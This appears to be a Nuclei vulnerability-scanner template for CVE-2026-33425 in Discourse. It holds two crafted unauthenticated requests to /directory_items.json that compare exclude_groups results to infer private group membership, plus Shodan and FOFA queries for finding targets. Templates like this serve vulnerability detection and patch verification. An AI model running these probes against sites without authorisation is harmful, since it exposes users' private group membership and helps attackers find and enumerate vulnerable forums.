Copy
id: CVE-2026-33425
info:
name: Discourse - Private Group Membership Inference via exclude_groups
author: str4k3r
severity: medium
description: |
Discourse < 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contains an information disclosure caused by unauthenticated users observing directory results changes with the exclude_groups parameter, letting attackers determine private group membership, exploit requires public access to user directory.
impact: |
Unauthenticated attackers can determine private group membership, potentially exposing sensitive user information.
remediation: |
Update to versions 2026.3.0-latest.1, 2026.2.1, or 2026.1.2 or later; alternatively, disable public access to user directory.
reference:
- https://github.com/discourse/discourse/security/advisories/GHSA-r6rh-xvf5-r5f2
- https://nvd.nist.gov/vuln/detail/CVE-2026-33425
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2026-33425
epss-score: 0.00346
epss-percentile: 0.26262
cwe-id: CWE-203
metadata:
verified: true
max-request: 2
vendor: discourse
product: discourse
shodan-query: http.component:"discourse"
fofa-query: body="/assets/discourse"
tags: cve,cve2026,discourse,info-disclosure,unauth
variables:
ghost: "{{rand_base(8, 'acfhjnprx')}}"
flow: http(1) && http(2)
http:
- raw:
- |
GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups={{ghost}} HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'regex("\"total_rows_directory_items\":[0-9]+", body)'
condition: and
internal: true
extractors:
- type: regex
name: basetotal
group: 1
internal: true
regex:
- '"total_rows_directory_items":([0-9]+)'
- raw:
- |
GET /directory_items.json?period=all&order=likes_received&page=0&exclude_groups=admins%7Cmoderators%7Cstaff%7Ctrust_level_4 HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- '!regex("total_rows_directory_items.:" + basetotal + "[,}]", body)'
condition: and
# digest: 4a0a0047304502206bb5c25ec83db6a1709d35c7d9d3eedbccbf4629566441c3ebbf1f0aff5313a6022100fb747d92669326bf20151e3deb84c50e7df53206bf1e3d266f70e948d3003562:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.